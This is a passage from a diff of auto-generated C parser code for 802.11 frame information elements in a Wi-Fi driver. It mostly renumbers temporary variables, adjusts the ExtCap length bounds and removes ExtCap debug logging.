0x1; - pDst->apsd = tmp60__ >> 6 & 0x1; - pDst->rrm = tmp60__ >> 7 & 0x1; - tmp61__ = *pBuf; + pDst->APReachability = tmp57__ >> 0 & 0x3; + pDst->Security = tmp57__ >> 2 & 0x1; + pDst->KeyScope = tmp57__ >> 3 & 0x1; + pDst->SpecMgmtCap = tmp57__ >> 4 & 0x1; + pDst->QosCap = tmp57__ >> 5 & 0x1; + pDst->apsd = tmp57__ >> 6 & 0x1; + pDst->rrm = tmp57__ >> 7 & 0x1; + tmp58__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->DelayedBA = tmp61__ >> 0 & 0x1; - pDst->ImmBA = tmp61__ >> 1 & 0x1; - pDst->MobilityDomain = tmp61__ >> 2 & 0x1; - pDst->reserved = tmp61__ >> 3 & 0x1f; + pDst->DelayedBA = tmp58__ >> 0 & 0x1; + pDst->ImmBA = tmp58__ >> 1 & 0x1; + pDst->MobilityDomain = tmp58__ >> 2 & 0x1; + pDst->reserved = tmp58__ >> 3 & 0x1f; framesntohs(pCtx, &pDst->reserved1, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; @@ -3948,15 +3949,15 @@ tANI_U32 dot11fUnpackIeOBSSScanParameters(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tA tANI_U32 dot11fUnpackIeOperatingMode(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEOperatingMode *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp62__; + tANI_U8 tmp59__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - tmp62__ = *pBuf; - pDst->chanWidth = tmp62__ >> 0 & 0x3; - pDst->reserved = tmp62__ >> 2 & 0x3; - pDst->rxNSS = tmp62__ >> 4 & 0x7; - pDst->rxNSSType = tmp62__ >> 7 & 0x1; + tmp59__ = *pBuf; + pDst->chanWidth = tmp59__ >> 0 & 0x3; + pDst->reserved = tmp59__ >> 2 & 0x3; + pDst->rxNSS = tmp59__ >> 4 & 0x7; + pDst->rxNSSType = tmp59__ >> 7 & 0x1; (void)pCtx; return status; } /* End dot11fUnpackIeOperatingMode. */ @@ -4397,16 +4398,16 @@ tANI_U32 dot11fUnpackIePTIControl(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ie tANI_U32 dot11fUnpackIePUBufferStatus(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEPUBufferStatus *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp63__; + tANI_U8 tmp60__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - tmp63__ = *pBuf; - pDst->ac_bk_traffic_aval = tmp63__ >> 0 & 0x1; - pDst->ac_be_traffic_aval = tmp63__ >> 1 & 0x1; - pDst->ac_vi_traffic_aval = tmp63__ >> 2 & 0x1; - pDst->ac_vo_traffic_aval = tmp63__ >> 3 & 0x1; - pDst->reserved = tmp63__ >> 4 & 0xf; + tmp60__ = *pBuf; + pDst->ac_bk_traffic_aval = tmp60__ >> 0 & 0x1; + pDst->ac_be_traffic_aval = tmp60__ >> 1 & 0x1; + pDst->ac_vi_traffic_aval = tmp60__ >> 2 & 0x1; + pDst->ac_vo_traffic_aval = tmp60__ >> 3 & 0x1; + pDst->reserved = tmp60__ >> 4 & 0xf; (void)pCtx; return status; } /* End dot11fUnpackIePUBufferStatus. */ @@ -4468,16 +4469,16 @@ tANI_U32 dot11fUnpackIeQBSSLoad(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 iele tANI_U32 dot11fUnpackIeQOSCapsAp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEQOSCapsAp *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp64__; + tANI_U8 tmp61__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - tmp64__ = *pBuf; - pDst->count = tmp64__ >> 0 & 0xf; - pDst->qack = tmp64__ >> 4 & 0x1; - pDst->qreq = tmp64__ >> 5 & 0x1; - pDst->txopreq = tmp64__ >> 6 & 0x1; - pDst->reserved = tmp64__ >> 7 & 0x1; + tmp61__ = *pBuf; + pDst->count = tmp61__ >> 0 & 0xf; + pDst->qack = tmp61__ >> 4 & 0x1; + pDst->qreq = tmp61__ >> 5 & 0x1; + pDst->txopreq = tmp61__ >> 6 & 0x1; + pDst->reserved = tmp61__ >> 7 & 0x1; (void)pCtx; return status; } /* End dot11fUnpackIeQOSCapsAp. */ @@ -4488,18 +4489,18 @@ tANI_U32 dot11fUnpackIeQOSCapsAp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 iel tANI_U32 dot11fUnpackIeQOSCapsStation(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEQOSCapsStation *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp65__; + tANI_U8 tmp62__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - tmp65__ = *pBuf; - pDst->acvo_uapsd = tmp65__ >> 0 & 0x1; - pDst->acvi_uapsd = tmp65__ >> 1 & 0x1; - pDst->acbk_uapsd = tmp65__ >> 2 & 0x1; - pDst->acbe_uapsd = tmp65__ >> 3 & 0x1; - pDst->qack = tmp65__ >> 4 & 0x1; - pDst->max_sp_length = tmp65__ >> 5 & 0x3; - pDst->more_data_ack = tmp65__ >> 7 & 0x1; + tmp62__ = *pBuf; + pDst->acvo_uapsd = tmp62__ >> 0 & 0x1; + pDst->acvi_uapsd = tmp62__ >> 1 & 0x1; + pDst->acbk_uapsd = tmp62__ >> 2 & 0x1; + pDst->acbe_uapsd = tmp62__ >> 3 & 0x1; + pDst->qack = tmp62__ >> 4 & 0x1; + pDst->max_sp_length = tmp62__ >> 5 & 0x3; + pDst->more_data_ack = tmp62__ >> 7 & 0x1; (void)pCtx; return status; } /* End dot11fUnpackIeQOSCapsStation. */ @@ -4888,49 +4889,49 @@ tANI_U32 dot11fUnpackIeTimeoutInterval(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_ tANI_U32 dot11fUnpackIeVHTCaps(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEVHTCaps *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U32 tmp66__; - tANI_U16 tmp67__; - tANI_U16 tmp68__; + tANI_U32 tmp63__; + tANI_U16 tmp64__; + tANI_U16 tmp65__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; - framesntohl(pCtx, &tmp66__, pBuf, 0); + framesntohl(pCtx, &tmp63__, pBuf, 0); pBuf += 4; ielen -= 4; - pDst->maxMPDULen = tmp66__ >> 0 & 0x3; - pDst->supportedChannelWidthSet = tmp66__ >> 2 & 0x3; - pDst->ldpcCodingCap = tmp66__ >> 4 & 0x1; - pDst->shortGI80MHz = tmp66__ >> 5 & 0x1; - pDst->shortGI160and80plus80MHz = tmp66__ >> 6 & 0x1; - pDst->txSTBC = tmp66__ >> 7 & 0x1; - pDst->rxSTBC = tmp66__ >> 8 & 0x7; - pDst->suBeamFormerCap = tmp66__ >> 11 & 0x1; - pDst->suBeamformeeCap = tmp66__ >> 12 & 0x1; - pDst->csnofBeamformerAntSup = tmp66__ >> 13 & 0x7; - pDst->numSoundingDim = tmp66__ >> 16 & 0x7; - pDst->muBeamformerCap = tmp66__ >> 19 & 0x1; - pDst->muBeamformeeCap = tmp66__ >> 20 & 0x1; - pDst->vhtTXOPPS = tmp66__ >> 21 & 0x1; - pDst->htcVHTCap = tmp66__ >> 22 & 0x1; - pDst->maxAMPDULenExp = tmp66__ >> 23 & 0x7; - pDst->vhtLinkAdaptCap = tmp66__ >> 26 & 0x3; - pDst->rxAntPattern = tmp66__ >> 28 & 0x1; - pDst->txAntPattern = tmp66__ >> 29 & 0x1; - pDst->reserved1 = tmp66__ >> 30 & 0x3; + pDst->maxMPDULen = tmp63__ >> 0 & 0x3; + pDst->supportedChannelWidthSet = tmp63__ >> 2 & 0x3; + pDst->ldpcCodingCap = tmp63__ >> 4 & 0x1; + pDst->shortGI80MHz = tmp63__ >> 5 & 0x1; + pDst->shortGI160and80plus80MHz = tmp63__ >> 6 & 0x1; + pDst->txSTBC = tmp63__ >> 7 & 0x1; + pDst->rxSTBC = tmp63__ >> 8 & 0x7; + pDst->suBeamFormerCap = tmp63__ >> 11 & 0x1; + pDst->suBeamformeeCap = tmp63__ >> 12 & 0x1; + pDst->csnofBeamformerAntSup = tmp63__ >> 13 & 0x7; + pDst->numSoundingDim = tmp63__ >> 16 & 0x7; + pDst->muBeamformerCap = tmp63__ >> 19 & 0x1; + pDst->muBeamformeeCap = tmp63__ >> 20 & 0x1; + pDst->vhtTXOPPS = tmp63__ >> 21 & 0x1; + pDst->htcVHTCap = tmp63__ >> 22 & 0x1; + pDst->maxAMPDULenExp = tmp63__ >> 23 & 0x7; + pDst->vhtLinkAdaptCap = tmp63__ >> 26 & 0x3; + pDst->rxAntPattern = tmp63__ >> 28 & 0x1; + pDst->txAntPattern = tmp63__ >> 29 & 0x1; + pDst->reserved1 = tmp63__ >> 30 & 0x3; framesntohs(pCtx, &pDst->rxMCSMap, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - framesntohs(pCtx, &tmp67__, pBuf, 0); + framesntohs(pCtx, &tmp64__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->rxHighSupDataRate = tmp67__ >> 0 & 0x1fff; - pDst->reserved2 = tmp67__ >> 13 & 0x7; + pDst->rxHighSupDataRate = tmp64__ >> 0 & 0x1fff; + pDst->reserved2 = tmp64__ >> 13 & 0x7; framesntohs(pCtx, &pDst->txMCSMap, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - framesntohs(pCtx, &tmp68__, pBuf, 0); - pDst->txSupDataRate = tmp68__ >> 0 & 0x1fff; - pDst->reserved3 = tmp68__ >> 13 & 0x7; + framesntohs(pCtx, &tmp65__, pBuf, 0); + pDst->txSupDataRate = tmp65__ >> 0 & 0x1fff; + pDst->reserved3 = tmp65__ >> 13 & 0x7; (void)pCtx; return status; } /* End dot11fUnpackIeVHTCaps. */ @@ -4990,7 +4991,7 @@ tANI_U32 dot11fUnpackIeVHTOperation(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 tANI_U32 dot11fUnpackIeWAPI(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEWAPI *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U16 tmp69__; + tANI_U16 tmp66__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; @@ -5027,11 +5028,11 @@ tANI_U32 dot11fUnpackIeWAPI(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, t DOT11F_MEMCPY(pCtx, pDst->multicast_cipher_suite, pBuf, 4); pBuf += 4; ielen -= (tANI_U8)4; - framesntohs(pCtx, &tmp69__, pBuf, 0); + framesntohs(pCtx, &tmp66__, pBuf, 0); pBuf += 2; ielen -= 2; - pDst->preauth = tmp69__ >> 0 & 0x1; - pDst->reserved = tmp69__ >> 1 & 0x7fff; + pDst->preauth = tmp66__ >> 0 & 0x1; + pDst->reserved = tmp66__ >> 1 & 0x7fff; if ( ! ielen ) { pDst->bkid_count = 0U; @@ -5116,7 +5117,7 @@ tANI_U32 dot11fUnpackIeWFDIEOpaque(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 i tANI_U32 dot11fUnpackIeWMMCaps(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEWMMCaps *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp70__; + tANI_U8 tmp67__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; @@ -5128,12 +5129,12 @@ tANI_U32 dot11fUnpackIeWMMCaps(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen pDst->present = 0; return ( status | DOT11F_BAD_FIXED_VALUE ); } - tmp70__ = *pBuf; - pDst->reserved = tmp70__ >> 0 & 0xf; - pDst->qack = tmp70__ >> 4 & 0x1; - pDst->queue_request = tmp70__ >> 5 & 0x1; - pDst->txop_request = tmp70__ >> 6 & 0x1; - pDst->more_ack = tmp70__ >> 7 & 0x1; + tmp67__ = *pBuf; + pDst->reserved = tmp67__ >> 0 & 0xf; + pDst->qack = tmp67__ >> 4 & 0x1; + pDst->queue_request = tmp67__ >> 5 & 0x1; + pDst->txop_request = tmp67__ >> 6 & 0x1; + pDst->more_ack = tmp67__ >> 7 & 0x1; (void)pCtx; return status; } /* End dot11fUnpackIeWMMCaps. */ @@ -5144,17 +5145,17 @@ tANI_U32 dot11fUnpackIeWMMCaps(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen tANI_U32 dot11fUnpackIeWMMInfoAp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEWMMInfoAp *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp71__; + tANI_U8 tmp68__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; pDst->version = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; - tmp71__ = *pBuf; - pDst->param_set_count = tmp71__ >> 0 & 0xf; - pDst->reserved = tmp71__ >> 4 & 0x7; - pDst->uapsd = tmp71__ >> 7 & 0x1; + tmp68__ = *pBuf; + pDst->param_set_count = tmp68__ >> 0 & 0xf; + pDst->reserved = tmp68__ >> 4 & 0x7; + pDst->uapsd = tmp68__ >> 7 & 0x1; (void)pCtx; return status; } /* End dot11fUnpackIeWMMInfoAp. */ @@ -5165,21 +5166,21 @@ tANI_U32 dot11fUnpackIeWMMInfoAp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 iel tANI_U32 dot11fUnpackIeWMMInfoStation(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEWMMInfoStation *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; - tANI_U8 tmp72__; + tANI_U8 tmp69__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; pDst->version = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; - tmp72__ = *pBuf; - pDst->acvo_uapsd = tmp72__ >> 0 & 0x1; - pDst->acvi_uapsd = tmp72__ >> 1 & 0x1; - pDst->acbk_uapsd = tmp72__ >> 2 & 0x1; - pDst->acbe_uapsd = tmp72__ >> 3 & 0x1; - pDst->reserved1 = tmp72__ >> 4 & 0x1; - pDst->max_sp_length = tmp72__ >> 5 & 0x3; - pDst->reserved2 = tmp72__ >> 7 & 0x1; + tmp69__ = *pBuf; + pDst->acvo_uapsd = tmp69__ >> 0 & 0x1; + pDst->acvi_uapsd = tmp69__ >> 1 & 0x1; + pDst->acbk_uapsd = tmp69__ >> 2 & 0x1; + pDst->acbe_uapsd = tmp69__ >> 3 & 0x1; + pDst->reserved1 = tmp69__ >> 4 & 0x1; + pDst->max_sp_length = tmp69__ >> 5 & 0x3; + pDst->reserved2 = tmp69__ >> 7 & 0x1; (void)pCtx; return status; } /* End dot11fUnpackIeWMMInfoStation. */ @@ -5190,14 +5191,14 @@ tANI_U32 dot11fUnpackIeWMMInfoStation(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U tANI_U32 dot11fUnpackIeWMMParams(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 ielen, tDot11fIEWMMParams *pDst) { tANI_U32 status = DOT11F_PARSE_SUCCESS; + tANI_U8 tmp70__; + tANI_U8 tmp71__; + tANI_U8 tmp72__; tANI_U8 tmp73__; tANI_U8 tmp74__; tANI_U8 tmp75__; tANI_U8 tmp76__; tANI_U8 tmp77__; - tANI_U8 tmp78__; - tANI_U8 tmp79__; - tANI_U8 tmp80__; (void) pBuf; (void)ielen; /* Shutup the compiler */ if (pDst->present) status = DOT11F_DUPLICATE_IE; pDst->present = 1; @@ -5215,63 +5216,63 @@ tANI_U32 dot11fUnpackIeWMMParams(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U8 iel pDst->reserved2 = *pBuf; pBuf += 1; ielen -= (tANI_U8)1; - tmp73__ = *pBuf; + tmp70__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acbe_aifsn = tmp73__ >> 0 & 0xf; - pDst->acbe_acm = tmp73__ >> 4 & 0x1; - pDst->acbe_aci = tmp73__ >> 5 & 0x3; - pDst->unused1 = tmp73__ >> 7 & 0x1; - tmp74__ = *pBuf; + pDst->acbe_aifsn = tmp70__ >> 0 & 0xf; + pDst->acbe_acm = tmp70__ >> 4 & 0x1; + pDst->acbe_aci = tmp70__ >> 5 & 0x3; + pDst->unused1 = tmp70__ >> 7 & 0x1; + tmp71__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acbe_acwmin = tmp74__ >> 0 & 0xf; - pDst->acbe_acwmax = tmp74__ >> 4 & 0xf; + pDst->acbe_acwmin = tmp71__ >> 0 & 0xf; + pDst->acbe_acwmax = tmp71__ >> 4 & 0xf; framesntohs(pCtx, &pDst->acbe_txoplimit, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - tmp75__ = *pBuf; + tmp72__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acbk_aifsn = tmp75__ >> 0 & 0xf; - pDst->acbk_acm = tmp75__ >> 4 & 0x1; - pDst->acbk_aci = tmp75__ >> 5 & 0x3; - pDst->unused2 = tmp75__ >> 7 & 0x1; - tmp76__ = *pBuf; + pDst->acbk_aifsn = tmp72__ >> 0 & 0xf; + pDst->acbk_acm = tmp72__ >> 4 & 0x1; + pDst->acbk_aci = tmp72__ >> 5 & 0x3; + pDst->unused2 = tmp72__ >> 7 & 0x1; + tmp73__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acbk_acwmin = tmp76__ >> 0 & 0xf; - pDst->acbk_acwmax = tmp76__ >> 4 & 0xf; + pDst->acbk_acwmin = tmp73__ >> 0 & 0xf; + pDst->acbk_acwmax = tmp73__ >> 4 & 0xf; framesntohs(pCtx, &pDst->acbk_txoplimit, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - tmp77__ = *pBuf; + tmp74__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acvi_aifsn = tmp77__ >> 0 & 0xf; - pDst->acvi_acm = tmp77__ >> 4 & 0x1; - pDst->acvi_aci = tmp77__ >> 5 & 0x3; - pDst->unused3 = tmp77__ >> 7 & 0x1; - tmp78__ = *pBuf; + pDst->acvi_aifsn = tmp74__ >> 0 & 0xf; + pDst->acvi_acm = tmp74__ >> 4 & 0x1; + pDst->acvi_aci = tmp74__ >> 5 & 0x3; + pDst->unused3 = tmp74__ >> 7 & 0x1; + tmp75__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acvi_acwmin = tmp78__ >> 0 & 0xf; - pDst->acvi_acwmax = tmp78__ >> 4 & 0xf; + pDst->acvi_acwmin = tmp75__ >> 0 & 0xf; + pDst->acvi_acwmax = tmp75__ >> 4 & 0xf; framesntohs(pCtx, &pDst->acvi_txoplimit, pBuf, 0); pBuf += 2; ielen -= (tANI_U8)2; - tmp79__ = *pBuf; + tmp76__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acvo_aifsn = tmp79__ >> 0 & 0xf; - pDst->acvo_acm = tmp79__ >> 4 & 0x1; - pDst->acvo_aci = tmp79__ >> 5 & 0x3; - pDst->unused4 = tmp79__ >> 7 & 0x1; - tmp80__ = *pBuf; + pDst->acvo_aifsn = tmp76__ >> 0 & 0xf; + pDst->acvo_acm = tmp76__ >> 4 & 0x1; + pDst->acvo_aci = tmp76__ >> 5 & 0x3; + pDst->unused4 = tmp76__ >> 7 & 0x1; + tmp77__ = *pBuf; pBuf += 1; ielen -= 1; - pDst->acvo_acwmin = tmp80__ >> 0 & 0xf; - pDst->acvo_acwmax = tmp80__ >> 4 & 0xf; + pDst->acvo_acwmin = tmp77__ >> 0 & 0xf; + pDst->acvo_acwmax = tmp77__ >> 4 & 0xf; framesntohs(pCtx, &pDst->acvo_txoplimit, pBuf, 0); (void)pCtx; return status; @@ -6293,7 +6294,7 @@ tANI_U32 dot11fUnpackAddTSResponse(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 {offsetof(tDot11fAssocRequest, P2PIEOpaque), offsetof(tDot11fIEP2PIEOpaque, present), 0, "P2PIEOpaque" , 0, 8, 255, SigIeP2PIEOpaque, {80, 111, 154, 9, 0}, 4, DOT11F_EID_P2PIEOPAQUE, 0, }, {offsetof(tDot11fAssocRequest, WFDIEOpaque), offsetof(tDot11fIEWFDIEOpaque, present), 0, "WFDIEOpaque" , 0, 8, 255, SigIeWFDIEOpaque, {80, 111, 154, 10, 0}, 4, DOT11F_EID_WFDIEOPAQUE, 0, }, {offsetof(tDot11fAssocRequest, VHTCaps), offsetof(tDot11fIEVHTCaps, present), 0, "VHTCaps" , 0, 14, 14, SigIeVHTCaps, {0, 0, 0, 0, 0}, 0, DOT11F_EID_VHTCAPS, 0, }, - {offsetof(tDot11fAssocRequest, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fAssocRequest, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fAssocRequest, OperatingMode), offsetof(tDot11fIEOperatingMode, present), 0, "OperatingMode" , 0, 3, 3, SigIeOperatingMode, {0, 0, 0, 0, 0}, 0, DOT11F_EID_OPERATINGMODE, 0, }, {offsetof(tDot11fAssocRequest, QosMapSet), offsetof(tDot11fIEQosMapSet, present), 0, "QosMapSet" , 0, 2, 62, SigIeQosMapSet, {0, 0, 0, 0, 0}, 0, DOT11F_EID_QOSMAPSET, 0, }, {0, 0, 0, NULL, 0, 0, 0, 0, {0, 0, 0, 0, 0}, 0, 0xff, 0, }, }; @@ -6863,57 +6864,8 @@ tANI_U32 dot11fUnpackAssocRequest(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - 